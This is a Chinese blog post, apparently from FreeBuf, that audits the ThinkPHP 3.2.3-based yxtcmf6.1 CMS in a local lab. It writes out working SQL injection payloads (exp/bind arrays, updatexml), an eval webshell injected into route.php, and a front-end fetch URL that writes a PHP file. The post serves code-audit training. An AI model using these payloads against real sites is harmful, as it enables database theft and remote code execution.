基于ThinkPHP的CMS审计思路 – 作者:阔诺dio哒

前言

yxtcmf6.1是一个基于thinkphp3.2.3的cms,19年3月份发布,用来练习代码审计是个不错的选择。

审计思路

由于这个cms采用MVC架构并且是基于thinkphp3.2.3的,所以先了解文件结构,知道不同的页面对应的文件位置在哪。然后搭建一个tp3.2.3了解一下这个框架,百度找找这个框架的漏洞,再通过Seay全局搜索可能因为这个框架存在漏洞的关键词。接下来上自动审计(自动审计的规则并不是很完全,所以可以通过自己审计的经验添加规则或者上百度找一些规则),对自动审计的结果进行验证,结果可能会有几百上千条,虽然不用每一条都去看,但是也是比较需要耐心的。最后可以拿AWVS之类的扫描器扫一扫,看看能不能扫出惊喜。

准备工具

phpstorm,Seay源码审计系统,phpstudy,AWVS

0x00 了解文件结构和路由方式

1589094967_5eb7aa37efdff.png!small

路由方式

1589094465_5eb7a84163d32.png!small

例如前台登录界面的url为http://127.0.0.1:8014/index.php/User/Login/index

1589094623_5eb7a8df3e000.png!small

则对应的文件目录为/application/User/LoginController.class.php,函数为index()

1589094654_5eb7a8feedaed.png!small

0x01 了解thinkphp3.2.3的漏洞

自己先搭建一个tp3.2.3,通过百度找到了一些thinkphp3.2.3存在的sql注入,然后记录下来简单说明一下

1589092464_5eb7a070f1959.png!small

tp3.2.3构造sql语句的函数如上,如果$option的值是可以任意传入的,那么就有可能达到sql注入的目的

1.->where(“可控参数”)->find()

$username = $_GET['username'];$data= M('users')->where(array("username"=>$username))->find();

测试代码如上,传入参数username[0]=exp&username[1]==’admin’ and updatexml(1,concat(0x3a,(user())),1)%23,然后调试跟进,主要代码段如下,$whereStr为构造sql语句的一部分

1589088511_5eb790ff62a7c.png!small

1589088602_5eb7915a97fee.png!small

结果构成如下sql语句

1589088639_5eb7917f39e2a.png!small

这里接收传参的方法必须不为I($_GET[‘username’]),否则会检测值内是否含有’exp’,如果有,就会加上空格变为’exp ‘

2.->find/select/delete(“可控参数”)

$id=I("id");$data=M("users")->find($id);

测试代码如上,传入id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) %23 ,然后调试跟踪

1589089487_5eb794cf1586c.png!small

最后得到sql语句如下,不需要单引号闭合也可完成注入

1589089528_5eb794f85c6e6.png!small

find()换成select()或者delete()也是一样的效果

3.->where(“可控参数”)->save(“可控参数”)

$condition["username"]=I("username");$data["password"]=I("password");$res=M("users")->where($condition)->save($data);

测试代码如上,传入username[0]=bind&username[1]=0 and (updatexml(1,concat(0x3a,(user())),1))%23&password=123456,调试跟踪

1589090385_5eb798510a726.png!small

1589090657_5eb79961b23eb.png!small

1589090914_5eb79a6289cb7.png!small

4.->order(“可控参数”)->find()

$username=I("username");$order=I("order");$data=M("users")->where(array("username"=>$username))->order($order)->find();

测试代码如上,传入username=admin&order[updatexml(1,concat(0x3a,user()),1)]

1589092405_5eb7a03580fe2.png!small最后的sql语句如下

1589092422_5eb7a0468793f.png!small

了解了几个tp3.2.3的sql注入后,就可以搜索这些关键词来寻找sql注入

0x02 全局搜索sql注入

正则学的不是很好,所以这里全局搜索虽然支持正则,但是没去用,只能写点简单的关键词来搜索,还望师傅们指点指点

全局搜索->find(

1589096722_5eb7b11252939.png!small

1.后台Ad控制器sql注入

1589096863_5eb7b19fa940c.png!small

点进去第一条发现where()内的$id可控,“ad_id=$id”,可能不需要单引号闭合就可以sql注入

1589096917_5eb7b1d541ae8.png!small

先随便传个参数看看sql语句是怎样的

1589097580_5eb7b46c4ee54.png!small

竟然这样,就可以用括号闭合来注入了

1589097745_5eb7b51138b36.png!small

2.前台register控制器sql注入

1589098283_5eb7b72b6c2b5.png!small

看看$where是否可控

1589099928_5eb7bd987ecc6.png!small

于是构造payload如下

1589100057_5eb7be1971ba5.png!small

3.前台login控制器sql注入

1589175286_5eb8e3f6beb52.png!small

这里一共有三处同样的关键词,需要注意的一点是,这三条不管双击进去哪一条后都只会高亮显示第一处关键词的位置。

第一处

1589176131_5eb8e743d2e5e.png!small第二处

1589176196_5eb8e784f2c45.png!small

第三处1589176267_5eb8e7cb660a1.png!small

第一处和第二处所在的函数都是在dologin()函数内调用的

1589175884_5eb8e64cecad1.png!small

接下来在第二处所在页面传参payload看看

1589177197_5eb8eb6de0788.png!small

结果出现错误提示,那么就调试跟踪看看是哪里的问题

1589177355_5eb8ec0ba7066.png!small

然后继续跟进这行代码,

1589177595_5eb8ecfba0333.png!small1589177746_5eb8ed92ddac9.png!small

1589178066_5eb8eed26d824.png!small

1589178161_5eb8ef31115d3.png!small

1589178284_5eb8efac34294.png!small

1589178519_5eb8f09796969.png!small

最后看看第三处

1589179234_5eb8f3623d4ff.png!small

1589179349_5eb8f3d55ceb0.png!small

后面的结果大致看了一下基本都是where()内的参数都做了强制类型转换成int型,或者不可控,并且也没有看到fin()内有可控参数的。

全局搜索->select/delete(

1589179742_5eb8f55edf635.png!small

1589179752_5eb8f56854362.png!small

这两都没找到select/delete()里面有可控参数的

全局搜索->save(

1589179943_5eb8f6271a959.png!small

这里找的也是不符合可能存在漏洞的条件

全局搜素->order(

1589180090_5eb8f6ba0bbf0.png!small

同上,没看到order()内有可控参数的

0x03 自动审计

1589096030_5eb7ae5ee846b.png!small

通过自动审计扫出了800多条结果,但是并不需要全都看,比如了解了tp3.2.3后,它的核心文件的就不需要看了,还有刚刚分析过了sql注入,那么这里面的sql注入也不需要看了。像fread(),fgets()这种需要输出才能看到文件内容的,如果没有看到输出的语句也可以放弃了,而像readfile(),unlink()这种可以直接得到执行结果的,就要重点关注一下。

0x04 后台任意文件读取

翻着翻着找到了这里,进去看看变量是否可控

1589181814_5eb8fd7603330.png!small

1589182067_5eb8fe730e250.png!small

1589182080_5eb8fe80b2fa2.png!small1589182132_5eb8feb4c1619.png!small

0x05 后台文件写入getshell

翻到这里,点进去看看

1589182738_5eb90112a7f9f.png!small1589183792_5eb9053064a83.png!small

1589183122_5eb902922977b.png!small

那么如果能在route表中的full_url字段中插入一句话木马,就可以将其写入到route.php里面了

上面的1212-1217行需要注意一下

1589186601_5eb910292c8e6.png!smallparse_url($full_url)将里面的值解析,并将相应的值组合成数组,例子如下

1589186813_5eb910fd7aefd.png!small

1589186874_5eb9113aa1e21.png!small

如果$a直接填a/b/c/d,那么array[path]=a/b/c/d

1589186972_5eb9119c93a21.png!small

1589186964_5eb911945760e.png!small

继续看到1215-1217行1589187678_5eb9145e529bb.png!small

所以full_url的字段必须含有 a/b/c 这样的形式

全局搜索sp_get_routes后发现admin目录下的Route控制器调用了它1589184168_5eb906a8e9351.png!small

虽然index()函数下没有插入表的语句,但是下面还有add()函数进行数据库插入,先打开这个index页面看看

1589184280_5eb90718e8929.png!small

发现有添加url规则1589184335_5eb9074fbc6da.png!small

确实是在add()下,并且原始网址的变量名为full_url,加下来都输入111验证下是否是插入route表

1589184458_5eb907ca60713.png!small

接下来看看route.php的样式和插入数据是否有过滤来确定payload要怎么写

1589184731_5eb908dbaa3d2.png!small

因为这是个php文件,所以不需要插入<>了,只要能插入单引号闭合,那么就可以将一句话木马插入

先插入带单引号的数据测试一下

1589188366_5eb9170e7e476.png!small

然后再结合上面说的 full_url的字段必须含有 a/b/c 这样的形式 那么就可以构造以下两种payload

url=aaa',@eval($_REQUEST['a']),'

full_url=a/b/c

url=aaa

full_url=a/b/c',@eval($_REQUEST['a']),'

1589189228_5eb91a6c00088.png!small

1589189261_5eb91a8dc42d8.png!small

添加完后会自动跳转到url美化界面,也就是调用route控制器的index()函数,完成写入route.php的操作

1589189446_5eb91b46acb67.png!small1589189464_5eb91b58e1c66.png!small

然后成功执行phpinfo()

0x06 前台文件写入getshell

这个是在百度上找到的,而且比较复杂,小弟水平有限,调试了很多遍才知道在哪执行的写入。

http://127.0.0.1:8014/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

1589252645_5eba122578412.png!small

由于前面跟进了很多文件和函数,跟进步骤比较繁琐,我在这就直接贴出最后关键的地方

1589253666_5eba162212fe3.png!small

1589253686_5eba1636e15d1.png!small先回调has方法检查有没有”5f068… 这个php文件,如果没有,则回调put写入这个文件

1589253456_5eba155005144.png!small1589253460_5eba1554cd577.png!small

1589253535_5eba159fc88ca.png!small

这里的$content就包含了payload里写入的值

1589254057_5eba17a9ad7d3.png!small

如果有”5f068… 这个文件,那么就回调load函数,然后文件包含”5f068… ,里面的代码被执行,那么test.php文件就被写入了

1589253738_5eba166a98c0e.png!small1589253772_5eba168cab9cd.png!small1589254090_5eba17ca2552a.png!small

0x07 AWVS扫描

1589254175_5eba181fc3415.png!small

AWVS并没有扫出来什么…

总结

自动审计除了这些验证出漏洞的地方,还有很多不存在漏洞的地方我也看了,要么就是参数不可控,要么就是做了防护。虽然不用每一条结果都去看,但还是需要有点耐心。希望这篇文章能对刚入门审计的兄弟有所帮助,有问题的地方也还望师傅们指出。

来源:freebuf.com 2020-07-02 21:44:30 by: 阔诺dio哒

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论